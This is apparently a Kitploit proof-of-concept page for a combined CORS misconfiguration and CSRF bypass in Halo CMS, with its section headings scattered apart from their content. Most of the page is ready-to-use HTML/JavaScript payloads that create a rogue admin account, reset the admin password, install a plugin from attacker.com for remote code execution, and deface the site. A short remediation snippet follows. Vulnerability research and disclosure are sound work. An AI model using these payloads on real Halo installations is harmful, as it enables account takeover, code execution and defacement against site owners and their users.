halo-cors-csrf-CVE-2026-67921 — Proof-of-concept demonstrating a combined CORS misconfiguration and CSRF protection bypass in Halo CMS, enabling cross-site request forgery attacks to create admin users, change passwords, install plugins, and modify content. | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← ANY origin
    configuration.setAllowCredentials(true);                // ← Allow cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API routes excluded from CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  Attacker hosts malicious page on evil.com                  │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Victim's browser visits evil.com                           │
│  → Form auto-submits to Halo API                            │
│  → Browser includes Session cookie automatically            │
│  → CORS: Origin * + credentials: true → Request allowed!    │
│  → CSRF: /apis/** excluded → No token required!             │
│  → Request succeeds with victim's privileges                │
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // Change site title
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>

<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Attack	Impact	Severity
Create admin user	Full system compromise	Critical
Change admin password	Account takeover	Critical
Install malicious plugin	Remote Code Execution	Critical
Modify content	Defacement	High
Delete data	Data loss	High
Steal data	Information disclosure	High

// Remove API exclusions from CSRF matcher
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Protection	Alone	Combined
CORS `*`	Blocks credentials (browser enforces)	Credentials allowed!
No CSRF	Protected by Same-Origin Policy	Bypassed by CORS!
Result	Safe	Full CSRF

halo-cors-csrf-CVE-2026-67921

Most Popular

Vulnerability Details

Vulnerability 1: CORS Misconfiguration

Vulnerability 2: CSRF Protection Bypass

Attack Mechanism

Why This Combination is Dangerous

The Attack Flow

Exploitation Scenarios

Scenario 1: Create Admin User

Scenario 2: Change Admin Password

Scenario 3: Install Malicious Plugin (RCE)

Scenario 4: Modify Site Content

Proof of Concept

Basic CSRF Test

Verification Steps

Impact Analysis

Remediation

Fix 1: Restrict CORS Origins

Fix 2: Enable CSRF for API Routes

Fix 3: Use Bearer Token Authentication

References

Timeline